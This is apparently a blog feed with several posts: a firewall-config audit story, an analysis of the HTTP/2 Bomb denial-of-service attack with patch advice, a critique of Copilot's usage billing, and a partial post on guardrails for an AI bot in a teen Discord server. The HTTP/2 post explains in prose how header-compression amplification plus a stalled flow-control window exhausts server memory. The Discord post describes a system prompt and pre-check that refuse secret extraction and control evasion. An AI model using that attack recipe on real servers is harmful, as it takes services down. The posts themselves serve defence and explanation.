<p>At this point I had what looked like an exhaustive answer. Two routes. Four IPs. Done. If I had stopped there, I would have sent the carrier a report that was accurate but incomplete, and I would not have known it.</p>
<h2>Round two: asking a broader question</h2>
<p>Before writing the final report, I did one more pass with a deliberately broader instruction. Stop checking whether the spreadsheet values <em>exist</em>, and start checking every way the carrier's address space could <em>touch</em> this firewall -- broader than, adjacent to, or historical relative to the literal values in the sheet.</p>
<p>I'll be upfront about the setup, because it matters for what you should take from this. I changed two things going into that pass, not one: the question got wider, and I also switched models, since Claude Fable 5 had just become available and I ran the pass there. On top of that, it was a third pass over ground two earlier passes had already mapped. Three variables moved at once. So I can't cleanly hand the credit to the model -- I didn't re-run Opus with this same broad instruction to see if it would have caught the same things, and without that control I won't pretend the delta is a model story. What I <em>can</em> tell you is what the broader question found. And it was a lot.</p>
<p>First, the broad pass immediately surfaced an address family the exact-match passes had skipped entirely. The carrier spreadsheet contained IPv6 NTE addresses -- six of them, all under the carrier's 2001-prefix space -- that no prior pass had checked. That is the kind of omission that quietly invalidates an "exhaustive" claim. The sweep confirmed neither config contained a single address in that range, which closed the gap properly instead of leaving it unexamined.</p>
<p>Second, the broader instruction expanded the search surface in ways the exact-match passes never attempted. Instead of only checking routes and raw IP tokens, this pass systematically swept every configuration section type: address objects, address groups, NAT rules, security rules, VPN gateway definitions, DHCP, DNS proxy, SNMP, syslog targets, and external lists. Critically, it added supernet overlap analysis -- testing whether any configured object was <em>broader</em> than the carrier subnets rather than only equal to or smaller than them.</p>
<p>That last technique is what cracked the case open.</p>
<p>The supernet sweep found four entirely new traces that every previous pass had missed:</p>
<ol>
<li><p>Two address objects defining a 192.168.0.0/16 block, labeled for a separate internal network, that quietly contained <em>all six</em> of the carrier's gateway addresses, including two gateways that had no specific route at all.</p>
</li>
<li><p>That /16 object was a member of an address group referenced by <strong>three active security rules</strong>, meaning the firewall's policy still permits this carrier address space today even where routing does not deliver it.</p>
</li>
<li><p>An address object literally <em>named</em> after the carrier's gateway subnet, prefixed "Remove_", with its value deliberately altered to a bogus range. Someone, years ago, had neutered this object instead of deleting it. That is direct archaeological evidence the subnet was once actively configured.</p>
</li>
<li><p>A group description reading "From [previous firewall vendor]: (Interface was [other carrier]-DIA)", which explained the carrier labeling mismatch in one line. The objects had been migrated from the prior firewall, labels and all.</p>
</li>
</ol>
<p>It also surfaced an operational finding with real consequences: two of the six gateways, including the one for our highest-bandwidth circuit, were <em>permitted by policy but unrouted</em>. Traffic toward them would follow the default route to the internet and die. If those circuits are supposed to work, our routing is incomplete. If they are not supposed to work, we may be paying for dead circuits. Either way, that finding is the reason we requested a utilization report from the carrier.</p>
<p>And for completeness, the pass ran the carrier hostnames, CLLI codes, port AIDs, equipment model numbers, raw service ID numbers, and billing account numbers as strings against both configs. It even investigated apparent matches for the string "ASE" and demonstrated they were substrings of crypto profile names, not real hits. Then it generated the formal report.</p>
<h2>The scoreboard</h2>
<p>To put numbers on it, here is what each phase of the investigation produced:</p>
<table>
<thead>
<tr>
<th></th>
<th>Exact-match passes</th>
<th>Broad-spectrum pass</th>
</tr>
</thead>
<tbody><tr>
<td>Traces identified</td>
<td>2 (the static routes)</td>
<td>6 (routes, supernet objects, active rules, deprecated object, migration note)</td>
</tr>
<tr>
<td>IPv6 checked</td>
<td>No</td>
<td>Yes, gap identified and closed</td>
</tr>
<tr>
<td>Supernet overlap analysis</td>
<td>No</td>
<td>Yes, this is what found the policy exposure</td>
</tr>
<tr>
<td>Security rule usage traced</td>
<td>No</td>
<td>Yes, three active rules identified</td>
</tr>
<tr>
<td>Root cause of label mismatch</td>
<td>Flagged as unknown</td>
<td>Explained (firewall migration artifact)</td>
</tr>
<tr>
<td>Unrouted-but-permitted gateways</td>
<td>Not detected</td>
<td>Two found, including the 4 Gbps circuit</td>
</tr>
</tbody></table>
<p>One case study, one environment, so calibrate accordingly. But within this investigation, the broad-spectrum pass found <strong>three times the traces</strong>, surfaced a verification gap the earlier passes had left open, and turned a flat "nothing else exists" into an actionable picture: which circuits are wired, which are policy-only ghosts, and which question to put to the carrier next.</p>
<h2>Why the difference, practically speaking</h2>
<p>My read after watching the same problem worked two different ways:</p>
<p><strong>The exact-match pass answered the question I asked.</strong> I asked whether the spreadsheet values existed in the configs, and it checked whether the spreadsheet values existed in the configs. Thoroughly, honestly, with good subnet math.</p>
<p><strong>The broad-spectrum pass answered the question I needed answered.</strong> "Does this exist" became "what is every possible way this carrier's address space could touch this firewall, including ways broader than, adjacent to, or historical relative to the literal values in the sheet." Supernet containment, policy reference tracing, and deprecated-object archaeology are all things an experienced firewall engineer would think to do on a third pass. The broader instruction is what put them on the table. Same data, same configs -- a different question.</p>
<p>The IPv6 catch is the part that stuck with me. An entire address family had gone unexamined across two passes, and the only thing that surfaced it was widening the question from "do these specific values appear" to "what have we not looked at yet." That is the whole lesson compressed into one finding: the exhaustive-sounding answer was a function of the narrow question, not of the configs being clean.</p>
<h2>Takeaways for your own config archaeology</h2>
<ol>
<li><p><strong>Exact-match searching proves almost nothing.</strong> Carrier inventories describe the carrier's side of the demarc. Your configs describe yours. The overlap lives in subnet math, not string matching.</p>
</li>
<li><p><strong>Always run supernet overlap, not just containment.</strong> The dangerous objects are the broad ones somebody created fifteen years ago. A /16 will never string-match a /24 from a spreadsheet.</p>
</li>
<li><p><strong>Trace objects into policy.</strong> An address object that exists is trivia. An address object referenced by three active allow rules is an attack surface and an audit finding.</p>
</li>
<li><p><strong>Deprecated objects are evidence.</strong> That "Remove_" prefixed object told us more about circuit history than any document we possess.</p>
</li>
<li><p><strong>Re-run with a broader question before you trust "nothing."</strong> I would have shipped an incomplete report with full confidence if I had stopped after the exact-match pass. The fix was not a smarter tool -- it was a wider question on a fresh pass, and the marginal cost of that pass was a few minutes. The marginal value was four findings and a carrier dispute armed with actual evidence. A different model on that pass doesn't hurt, but the load-bearing move is changing the question, not the tooling.</p>
</li>
</ol>
<p>We closed the investigation with a formal report to the carrier requesting per-circuit utilization data, because the configs can only tell you what <em>should</em> flow, never what <em>does</em>. But we walked into that conversation knowing exactly which circuits our equipment can reach, which it merely tolerates, and which appear to exist only on an invoice.</p>
<p>That is a much stronger position than "we couldn't find anything," which is where I started the week.</p>
<hr />
<p><em>All names, addresses, and identifiers in this article have been altered. The methodology is real; the data is not.</em></p>
]]></content:encoded></item><item><title><![CDATA[The HTTP/2 Bomb Sat in Plain Sight for a Decade. An AI Just Had to Read the Code.]]></title><description><![CDATA[There is a version of this story already making the rounds, and it goes like this: an AI found a dangerous new vulnerability in five of the most widely deployed web servers on the internet, and that i]]></description><link>https://blog.theknowngood.com/http2-bomb-cve-2026-49975-ai-composed-exploit</link><guid isPermaLink="true">https://blog.theknowngood.com/http2-bomb-cve-2026-49975-ai-composed-exploit</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Artificial Intelligence]]></category><category><![CDATA[AI]]></category><category><![CDATA[networking]]></category><category><![CDATA[Devops]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Thu, 04 Jun 2026 22:32:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/384532e0-20a5-437d-988f-a44c5e7d9a21.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>There is a version of this story already making the rounds, and it goes like this: an AI found a dangerous new vulnerability in five of the most widely deployed web servers on the internet, and that is terrifying, and now we live in a world where machines hunt zero-days while we sleep. It is a good story. It is also the wrong one.</p>
<p>The vulnerability the AI "found" had been sitting in the open for ten years. Both halves of it were public. One of them has a CVE from 2016. The other is described, in plain English, in the RFC that defines the protocol, in a section that opens by warning that an attacker can try to exhaust an endpoint's memory. The warning was right there in the spec, and five independent implementations shipped the same class of bug anyway. Calif's takeaway is blunter than the vendors would like: if that many independent teams read the same warning and still ship the bug, the problem is not the teams, it is the spec. The machine didn't discover a new weakness. It noticed that two old ones had been sitting next to each other the whole time, the cross-referencing nobody had done in ten years.</p>
<p>That is the part worth sitting with.</p>
<p>The attack is called HTTP/2 Bomb, disclosed by the security firm Calif on June 2. It affects the default HTTP/2 configuration of nginx, Apache httpd, Microsoft IIS, Envoy, and Cloudflare Pingora. There is no single CVE for the whole thing. Apache's variant was assigned CVE-2026-49975, and Envoy is tracking its own as CVE-2026-47774, with the remaining implementations free to assign theirs. The underlying failure mode is the same family across all of them: header-accounting amplification stacked on an HTTP/2 flow-control stall. Calif's Shodan sweep turned up more than 880,000 public-facing servers running one of those five, though a good number sit behind CDNs that absorb the worst of it. The headline number: against Apache httpd or Envoy, a single client on a home 100Mbps connection can pin roughly 32GB of server memory in about twenty seconds. Their demo clocked Envoy at around 32GB in ten. You do not need a botnet. You do not need stolen credentials. You need one laptop and the willingness to point it at someone.</p>
<p>Here is the mechanism, because the mechanism is where the lesson lives.</p>
<p>HTTP/2 compresses headers using a scheme called HPACK. Both sides of a connection keep a small table of headers they have seen recently. You send a header once, and after that you can refer back to it with a single byte, an index into the table, instead of resending the whole thing. The server looks up that index and rebuilds a full copy of the header in the request it is assembling. So one byte on the wire becomes one full header allocation on the server. Send thousands of those one-byte references in a single request and you have turned a few kilobytes of traffic into megabytes of server memory. Calif measured amplification ratios from about 70 to 1 on nginx up to roughly 4,000 to 1 on Apache and Envoy, and as high as 5,700 to 1 on Envoy under the right conditions.</p>
<p>Amplification alone is not an attack, though. If the memory were freed the moment the request finished, a 70-to-1 multiplier would be a curiosity. The second half is what makes it lethal: HTTP/2 lets the client control the flow-control window for the server's responses. Advertise a zero-byte window and the server can never finish sending its reply, so it can never tear down the request and reclaim the memory. Then you drip a one-byte WINDOW_UPDATE every so often to reset the timeout and keep the connection alive. The allocation just sits there, pinned, for as long as the server's timeout allows. Compression bomb to blow the memory up, slow-read hold to keep it from deflating. That is the whole trick.</p>
<p>Neither half is new. The compression bomb is essentially the HPACK Bomb that Cory Benfield described in 2016, CVE-2016-6581. The hold is a Slowloris-style technique that is just as old, with Apache HTTP/2 denial-of-service CVEs from the same year covering unbounded CONTINUATION frames and worker-thread starvation. Even the modern, high-amplification version of the bomb picked up a fresh CVE in 2025. The pieces were all on the table. They had been on the table for years. What the AI did -- OpenAI's Codex, in this case -- was read across the implementations, notice that the two techniques compose, and build the combined attack. The researcher who ran it, Quang Luong, is presenting the method at a Stanford AI security conference this month.</p>
<p>I want to be precise about what that does and does not mean, because the framing matters.</p>
<p>The instinct is to treat this as a leap in offensive capability. It is not, not really. Composing two known primitives into a third is not a research breakthrough. The researchers themselves say the combination is obvious once you see it, and they are right. The reason no human did it first is not that it was hard. It is that nobody was looking at all five codebases at once, with fresh eyes, with the patience to ask what happens if I run these two known-bad behaviors at the same time. Our industry is fragmented along exactly the boundaries this attack crosses. The HPACK people and the flow-control people and the five separate server teams each owned their own slice. The composition lived in the seams, and nobody owns the seams.</p>
<p>What is actually new here is not the exploit. It is the economics. And this is the part that should change how you think about your patch cycle.</p>
<p>Calif disclosed responsibly. They told nginx in April, Apache in late May, and gave the unpatched vendors notice before going public. But read the line in their own writeup that should make every infrastructure engineer uneasy: the fix commits are public, they disclose the attack vectors directly, and any capable model can turn those diffs into a working exploit. That is not a prediction. It is how Calif themselves confirmed that IIS, Envoy, and Pingora were vulnerable. They fed the patch diffs to a model and let it generalize.</p>
<p>Responsible disclosure has long rested on a quiet assumption: that there is a gap between "patch published" and "exploit weaponized," and that gap is filled with human effort. A defender could read the advisory, understand the fix, and roll it out before most attackers finished reverse-engineering the patch into something that works. That window, the grace period, was never guaranteed, but it was usually real, and a lot of our patching cadence quietly depends on it existing.</p>
<p>That assumption is now on very thin ice. When the diff itself is enough for a model to reconstruct the attack, "we published the fix" and "the exploit is public" collapse toward the same moment. The defender's grace period and the attacker's effort tax were the same thing, and that thing is evaporating.</p>
<p>So what do you actually do today, while the patch picture is still uneven across the five.</p>
<p>If you run nginx, upgrade to 1.29.8 or later, which adds a <code>max_headers</code> directive capped at 1000 by default. If you run Apache httpd, the fix is in mod_http2 2.0.41, but it had not landed in a stable 2.4.x release as of disclosure, so you are either pulling the standalone module or setting <code>Protocols http/1.1</code> to turn HTTP/2 off entirely. Envoy now has a formal advisory of its own, CVE-2026-47774, with fixes in 1.35.11, 1.36.7, 1.37.3, and 1.38.1, so upgrade to one of those. For Microsoft IIS and Cloudflare Pingora I could not find a public fix as of this writing, which leaves you disabling HTTP/2 or fronting the server with something that enforces a hard cap on header count.</p>
<p>And regardless of vendor, do the thing the spec should have mandated in the first place: cap the number of header fields per request, including cookie crumbs, which is the specific bypass this attack uses, independent of their total size. Then bound the lifetime of a stalled stream no matter how many WINDOW_UPDATE frames keep arriving. If you cannot do either today, the crude backstop is to cap per-worker memory tightly with cgroups or <code>ulimit</code>, tight enough that a bombed worker gets OOM-killed and respawned before it drags the whole box into swap. A worker that dies clean and restarts is a far better failure mode than one that holds the machine at ninety-five percent memory while every other request crawls.</p>
<p>But mitigations are the easy part. The HTTP/2 Bomb will be patched everywhere within weeks and we will move on. What will not be patched is the condition that produced it.</p>
<p>The engineer who reviewed the fix that became HPACK -- the same person who, years earlier, helped break HTTP header compression with the CRIME attack -- wrote in the disclosure that he went back and re-read his own review notes and realized he had never once considered this attack. He was too busy fighting the last problem to see the next one sitting right next to it. That is not a knock on him. That is all of us. Our security debt is not just the unpatched CVEs we know about. It is a backlog of obvious compositions nobody has run the numbers on, sitting in the seams between systems that each looked fine in isolation.</p>
<p>For years, the thing protecting us from most of that debt was that checking it was tedious and nobody had the time. That protection is gone. The tedium is now free. Free for the people defending the systems, if they choose to spend it, and free for everyone else regardless of what we choose. The HTTP/2 Bomb is the first clean shot across the bow of an era where the boring, cross-cutting analysis we kept deferring gets done whether we do it or not. The only open question is whether we run those numbers on our own infrastructure before someone else runs them on us.</p>
<p>That is the bomb. The memory exhaustion is just the blast radius.</p>
<hr />
<p><em>A note on timing: this one is still moving. Patch status changed while I was writing it and it will change again. Everything here is current as of June 4, 2026. Check each vendor's advisory before you act on the mitigations.</em></p>
]]></content:encoded></item><item><title><![CDATA[The Copilot Meter Didn't Raise the Price. It Showed You the Bill.]]></title><description><![CDATA[On June 1, 2026, GitHub moved Copilot's active billing model over to usage-based AI Credits, replacing premium request units across the plans, and a lot of developers woke up to a product that felt di]]></description><link>https://blog.theknowngood.com/github-copilot-usage-based-billing-real-cost-of-agents</link><guid isPermaLink="true">https://blog.theknowngood.com/github-copilot-usage-based-billing-real-cost-of-agents</guid><category><![CDATA[GitHub]]></category><category><![CDATA[AI]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Artificial Intelligence]]></category><category><![CDATA[Git]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Wed, 03 Jun 2026 17:29:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/32ae01be-65f4-45ed-b029-260192038cf4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On June 1, 2026, GitHub moved Copilot's active billing model over to usage-based AI Credits, replacing premium request units across the plans, and a lot of developers woke up to a product that felt different from the one they paid for the day before. The flat monthly fee is still there. What changed is that the meter is now visible. Instead of counting premium requests, every plan ships with a monthly allotment of GitHub AI Credits, one credit is worth a cent, and your usage gets calculated from the tokens an interaction consumes. Input, output, and cached context, priced per model, converted into credits, drawn down against your budget. Existing annual Pro and Pro+ subscribers are the exception, they stay on the legacy request-based pricing until their term runs out.</p>
<p>The reaction was about what you'd expect. The announcement discussion filled with hundreds of angry comments. Developers posted screenshots of allocations draining in hours. The Register found people already planning their exit, including one who said they'd burn their Pro+ credits in a week and then route the rest of the month through OpenRouter inside the same editor. The projections that went around ranged from mildly annoying to apocalyptic, some developers floated bills jumping from fifty dollars to three thousand. GitHub hasn't verified those numbers, and to be fair, the worst of them describe workflows that were already wasteful. But the anger is real, and I don't think it's misplaced. I just think half of it is pointed at the wrong thing, and the other half is pointed at exactly the right one.</p>
<p>Because here's what I keep coming back to. The sticker price didn't move. What moved is that the marginal cost of heavy usage is now exposed, and the meter didn't make agentic coding expensive. Agentic coding was always expensive. The meter just stopped hiding it. That part is honest. What Microsoft did around the meter is a different story, and that part is worth being angry about.</p>
<hr />
<p>For the last year and change, Copilot ran on a useful fiction. You paid a flat fee, the assistant sat in your editor, and the actual economics of running large model inference stayed behind the curtain. That worked beautifully when Copilot was mostly autocomplete. Autocomplete is cheap and it's predictable. You type, it suggests, the marginal cost of any single suggestion is small enough that nobody felt exposed to it. The abstraction held because the thing underneath the abstraction was small.</p>
<p>Agentic coding broke that. When you tell an assistant to go fix a bug, you experience that as one request. The system experiences something very different. It reads multiple files, builds context, generates a patch, re-evaluates the errors, tries again, and hands you back output that's many times larger than the prompt you typed. One instruction from you, a long chain of token-consuming operations underneath. The cost was never tied to how much you typed. It was tied to how much the model did on your behalf, and with an agent, that's a number you mostly can't see while it's happening.</p>
<p>So the flat subscription wasn't really pricing the work. It was averaging it. The light users subsidized the heavy ones, and GitHub ate the variance, and everyone got to pretend the dev loop was a fixed-cost tool instead of a metered cloud resource. That's a fine arrangement right up until the variance gets too big to eat. Frontier-model agents doing multi-file work across a whole session are exactly the kind of variance that breaks an averaging model. GitHub says the old premium-request model was no longer sustainable, that it had been absorbing the escalating inference cost itself, and on the narrow point I'll take them at their word. Inference genuinely costs money, a flat fee is a poor fit for long multi-step model sessions, and a company that has to pay for compute eventually has to charge for compute. None of that is villainy.</p>
<hr />
<p>The villainy, or at least the part that earns the side-eye, is everything Microsoft bolted onto the transition that has nothing to do with the honest economics.</p>
<p>Start with the fallback. Under the old model, when you exhausted your premium requests, you could often drop to a cheaper model and keep working at no extra charge. GitHub confirmed that cushion is gone, usage is now governed entirely by your available credits and whatever budget controls an admin has set. So there's no soft landing between you and the meter anymore, which means the spending ceiling that used to be implicit is something you now have to build yourself or learn about the hard way. Then there's the annual plans, which are being wound down. If you're on one, you keep request-based pricing until it expires and then you get dropped to Copilot Free unless you re-subscribe to a monthly plan, and in the meantime the model multipliers on your annual plan went up on June 1. So the customers who committed to a year got their existing pricing made worse on the way out the door.</p>
<p>New signups got paused across Student, Pro, Pro+, and Max. GitHub frames this as a reliability measure to protect the experience for existing customers, and maybe it partly is. It also has the effect of closing the student trial pipeline that feeds paid conversions during the exact window when the loudest, most public anger is peaking and people are actively shopping for alternatives. You can decide for yourself how much of that timing is coincidence. And quietly, the strongest models got pulled from the cheaper tier, with Opus no longer available on Pro at all.</p>
<p>But the one that actually made me sit up is code review. As of June 1, when Copilot reviews a pull request on a private repository, it draws down GitHub Actions minutes in addition to AI Credits, billed at the same per-minute rates as any other Actions workflow. The same automated review now hits two separate meters at once. Public repos are unchanged, Actions minutes stay free there, so this isn't every review everywhere. But for the private repositories where most real work actually happens, GitHub took a thing that used to sit inside your flat fee, moved it onto agentic infrastructure, and arranged for it to spend from two budgets per run. Read that again, because it's the whole pattern in one feature.</p>
<p>And it is a pattern, the kind that's hard to unsee once you've seen it. GitHub spent the past year-plus aggressively pushing developers toward agentic workflows, building product around them, marketing them as the future of the tool. Then it put the most expensive possible meter on exactly those workflows, removed the cushion that softened the blow, wound down annual-plan treatment, restricted model access on the cheaper tier, and made private-repo code review spend from two budgets at once. You can fully accept that inference costs real money and still notice that the structure was built to extract the maximum from the behavior they spent a year-plus training you into. Both things are true. The economics are real. The packaging is a squeeze.</p>
<hr />
<p>What actually interests me, as a systems person, is the part nobody's talking about underneath all of it. We have decades of operational muscle for managing metered compute. Cloud budgets, cost alerts, capacity planning, rate limits, the entire discipline of FinOps exists because we learned the hard way that on-demand infrastructure will quietly bankrupt you if you don't watch it. We know how to do this. We just never did it for the thing running inside the IDE, because the thing inside the IDE didn't look like infrastructure. It looked like a feature you bought once a month.</p>
<p>That's the deeper shift, and it would have come for us no matter who shipped it first. GitHub isn't the first to meter AI usage this way, it's just the most visible mainstream developer platform to do it, which is why this is the version everyone's arguing about. Agentic coding is a compute workload wearing the costume of a software feature. The moment you let an agent run an autonomous session against your codebase, you're spinning up something closer to a short-lived compute job than a text-editor plugin, and it should have been on a cost model from the beginning. The meter is uncomfortable because it's forcing a category correction that was overdue. The dev loop is a cost center now. It always was. We just had a subscription that let us not think about it.</p>
<p>And once you frame it that way, even the panic reads differently. A developer reporting that a single session ate eight percent of their monthly Pro+ allocation isn't only describing a pricing scam. They're also describing an agent that did a lot of work, possibly more work than the task needed, with no governor on it. That's a workflow problem and a tooling-maturity problem sitting right next to the billing problem, the same way an unbounded cloud job is a workflow problem before it's an AWS problem. Microsoft built a meter designed to extract. You still have to decide how much you feed it.</p>
<hr />
<p>So what do you actually do with this. A few things, and none of them are "rage-quit to OpenRouter," though that's a legitimate move if the economics genuinely don't work for you, and plenty of people are already making it.</p>
<p>First, treat model selection as a real decision instead of a default. The per-token rates vary enormously across models, and a frontier model running an agentic session is the single most expensive thing you can do in the product. A lot of the work people throw at agents doesn't need an agent at all, let alone the most capable one. Knowing when a cheap model or plain autocomplete is the right tool is now a cost skill, not just a quality preference. And completions stayed unlimited and unmetered on paid plans, which is GitHub quietly telling you where the cheap, predictable value still lives. Use that.</p>
<p>Second, set the budget controls before you need them, not after the bill. The spending caps and dashboards exist, and the user-level budgets can act as a hard stop on how many credits a single person burns in a cycle. The whole reason metered cloud horror stories happen is that nobody sets the alert until they've already had the incident. Don't be that team. And if you run automated code review on private repos, audit your pull request volume against your Actions minutes before the bill teaches you the number.</p>
<p>Third, and this is the one that matters most for anyone running a pipeline, start treating agentic AI spend as a line item you forecast, not a surprise you absorb. If you can't predict what your tooling costs and how it behaves under load, you don't actually control your pipeline. You're just hoping. That was true before June 1. The meter just made it visible, and visibility, even visibility a vendor hands you for self-interested reasons, is not the enemy. It's the thing that lets you plan.</p>
<p>The discomfort everyone's feeling is the discomfort of an abstraction getting stripped away. For a while, the flat fee let us treat a metered, variable, genuinely expensive compute workload as if it were a fixed-cost convenience. That was always going to end, on this product or the next one, because the economics underneath were never fixed. GitHub happened to be the loudest about it, and Microsoft made sure to wring every dollar it could out of the transition on the way through.</p>
<p>The meter isn't a price hike. It's a mirror. The number it's showing you was there the whole time. Heavy users will pay more now, that's real and the article shouldn't pretend otherwise, but the answer isn't to demand the curtain go back up. It's to read the meter, learn to plan around it, and pay close attention to who's holding it and what else they slipped into your bill while your eyes were on the headline number.</p>
]]></content:encoded></item><item><title><![CDATA[Designing AI for a Teen Discord Server Without Turning It Into a Surveillance Machine]]></title><description><![CDATA[My kid wanted a Discord server for her and a handful of friends from school. I wanted to be able to sleep at night. Those two goals are not actually in conflict, but the entire engineering project liv]]></description><link>https://blog.theknowngood.com/ai-guardrails-teen-discord-server</link><guid isPermaLink="true">https://blog.theknowngood.com/ai-guardrails-teen-discord-server</guid><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[Programming Tips]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Fri, 29 May 2026 23:51:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/54312abd-a41c-41b6-982c-244be069702b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>My kid wanted a Discord server for her and a handful of friends from school. I wanted to be able to sleep at night. Those two goals are not actually in conflict, but the entire engineering project lives in the gap between them.</p>
<p>The easy version of this is a weekend job. Spin up a server, make a few channels, hand out roles, paste in an invite, done. I started there. It got interesting the moment I let myself ask the obvious follow-up: what happens when there's an AI assistant sitting in a room full of thirteen-year-olds, and what does it mean for me, the only adult holding the keys, to be responsible for that?</p>
<p>This is the writeup of how I answered it. It's a small system. It runs on one box, it's a few thousand lines of JavaScript, and it is deliberately boring. The boring part is the point.</p>
<h2>The thesis, up front</h2>
<p>AI should be available, but it should never be invisible, everywhere, private, or authoritative. For a server built around a minor and her friends, the safe pattern turned out to be a dedicated channel, a slash command instead of freeform chat, replies that are public in that channel, a deterministic check that runs before anything reaches the model, memory kept on a short leash, and reporting that a tired adult can actually read at the end of the day.</p>
<p>If you've seen my earlier writing on running models locally, set that frame aside here. This is not that. This server deliberately leans on a cloud-hosted model, which changes the privacy math in ways I'll be honest about later. The interesting work was not the model. It was deciding where the model gets to exist and how much authority it gets to have.</p>
<h2>What I was actually constrained by</h2>
<p>The constraints came before any code. The server is private and minor-focused. It's maintained by exactly one technical parent, which means anything clever I can't maintain at 9pm on a weeknight is a liability, not a feature. The bot runs least privilege. There are no hidden AI direct messages with minors. And the AI never hands out punishments.</p>
<p>That last one is the load-bearing principle. The adult owns judgment. The bot can assist, log, summarize, and alert. It does not get to be judge, jury, or the thing that drops a timeout on a kid because it misread a joke.</p>
<h2>The shape of the thing</h2>
<p>The bot runs on an Ubuntu box as a <code>systemd</code> service. That choice is unglamorous and correct: it comes back on its own after a reboot, it doesn't need a terminal session babysiting it, and I can read its logs with <code>journalctl</code> when something looks off. Node.js and <code>discord.js</code> do the heavy lifting, mostly because <code>discord.js</code> is a sane wrapper around the parts of Discord's API I actually touch -- slash commands, modals, embeds, permissions, channel operations. For a server this size, one Node service is far easier to reason about than a pile of microservices.</p>
<p>State lives in local JSON files. The server is small, it doesn't need a database yet, and JSON is trivial to inspect and back up. The honest tradeoff is that this is not built for scale or heavy concurrency, and I'm fine with that because it will never need to be.</p>
<p>The daily report is a local HTML file, not an email and not something the bot uploads into Discord. No SMTP credentials to manage, nothing leaking report contents into a channel, and the report stays under my control on a host I own. When I want to read it, I copy it off with <code>scp</code>:</p>
<pre><code class="language-bash">scp admin@host:/srv/family-bot/reports/latest/daily-summary.html ~/Desktop/daily-summary.html
</code></pre>
<p>The server layout is intentionally simple. A START HERE area with rules and guidance, a CHAT area, voice channels, and a parent-admin area that's hidden from the kids entirely. Roles are just Kid, Friend, and a Timeout role. Teens see what they need to see. The admin plumbing stays out of view.</p>
<h2>Baseline safety before any AI</h2>
<p>I am the only Administrator on the server. The bot does not hold Administrator for normal operation, and that's a deliberate line. I granted it Administrator exactly once, temporarily, to get past Discord's <code>50013 Missing Permissions</code> wall while setting up private category permissions, and I stripped it the moment that task was done. If the bot is ever compromised, I'd rather it be able to do very little.</p>
<p>Invite creation is locked down for <code>@everyone</code> and for both the Kid and Friend roles. A private server for minors should not let invites spread on their own.</p>
<p>On top of that, the safety model is layered and no single layer is trusted to hold. Discord's native AutoMod handles the floor: NSFW content, spam, mention spam, and suspicious links, with link blocking tested and confirmed. The bot logs message edits and deletes, logs joins and leaves, and exposes a <code>/report</code> slash command that opens a modal and files the report into a private channel. There's one deterministic rule worth calling out: an obvious scam or malicious-link report gets bumped to at-least-medium urgency automatically, so the system can never quietly under-rank something that's plainly a problem.</p>
<h2>The decision that actually mattered: where the AI gets to exist</h2>
<p>The bot already did some AI-assisted work before the kids ever got an assistant. It could triage reports and run a chat monitor in alert-only mode. But handing teenagers a general-purpose assistant is a categoricaly different thing, and I treated it that way.</p>
<p>The risks are not exotic. Models are confidently wrong. They sound authoritative even when they shouldn't. Teens ask personal questions, and teens overshare. A cloud-backed model processes prompts off the local network. A bot that answers in every channel is noisy and nearly impossible to audit. And a private AI conversation with a minor is exactly the thing I did not want to build.</p>
<p>So the AI lives in one channel, <code>#ask-ai</code>, and you talk to it with one command, <code>/ask</code>. Replies land publicly in that channel. I went through the options I rejected, because the rejections are the actual design. Responding to every message everywhere: too noisy, to much accidental data sent to the model, and it makes the bot feel like it's always listening. Responding on mention or to a <code>?ai</code> prefix: better, but still fuzzy about intent. Ephemeral replies or DMs: hard no, because that's a hidden conversation between an AI and a child.</p>
<p>A slash command makes intent explicit. The kid chose to ask. The channel stays quiet otherwise, and every interaction is easy to find later. Public replies mean the assistant is a shared tool sitting in a shared room, not a private confidant.</p>
<blockquote>
<p>The engineering question was never "can the bot answer." It was "should the bot answer here, in this way, with this much visibility, and with this much authority."</p>
</blockquote>
<p>There's a real tradeoff in making replies public: it discourages personal questions. For this server, that's a feature. Serious personal, medical, or mental-health stuff should go to a trusted adult, not a chatbot in a group chat, and the design quietly nudges in that direction.</p>
<h2>Guardrails, and why the system prompt is not one</h2>
<p>The bot sends a fixed system prompt with every allowed request. It tells the model to be friendly, age-appropriate, and concise, to refuse the obvious bad categories, to point serious topics toward a trusted adult, to not pretend to be human, and to not reveal anything about the server's internals.</p>
<p>A system prompt is not a security boundary, though. It's one layer, and a soft one, because a determined prompt can argue with it. So before any allowed request reaches the model, a local deterministic pre-check runs first. It screens for the obvious categories -- sexual content, self-harm, cyber-abuse, dangerous or illegal instructions, attempts to pull secrets, attempts to evade controls.</p>
<p>When something trips that check, the bot posts a short, kind refusal publicly in <code>#ask-ai</code>, sends an alert to the admin channel, and records the event. What it does not do is matter just as much: no punishment, no deletion, no timeout. The blocked prompt never enters memory, and it never gets sent to the cloud model at all.</p>
<p>This is also where I'll show you something that broke, because the fix taught me something. I tested the pre-check with a prompt about stealing someone's password. It first landed in the broad illegal-or-dangerous bucket, which produced a generic refusal. I'd rather it be caught by the specific cyber-abuse rule, which gives a more useful, more relevant answer. The fix was reordering the rules so the specific pattern gets a look before the broad one. The lesson generalizes: a broad pattern like "steal" will grab a prompt before a narrower, smarter rule ever runs, so order is part of the logic, not an afterthought.</p>
<h2>Memory, on a short leash</h2>
<p>The assistant has memory, but it's kept small on purpose. It's scoped per user, only inside <code>#ask-ai</code>, and it holds only the last handful of question-and-answer turns as short excerpts with a timestamp. It never touches the admin channels, the logs, secrets, or blocked prompts.</p>
<p>The framing I keep coming back to: memory here is for convenience, so the bot remembers what you just asked a minute ago. It is not a diary, and I built it so it can't quietly become one.</p>
<h2>Making it auditable without making it creepy</h2>
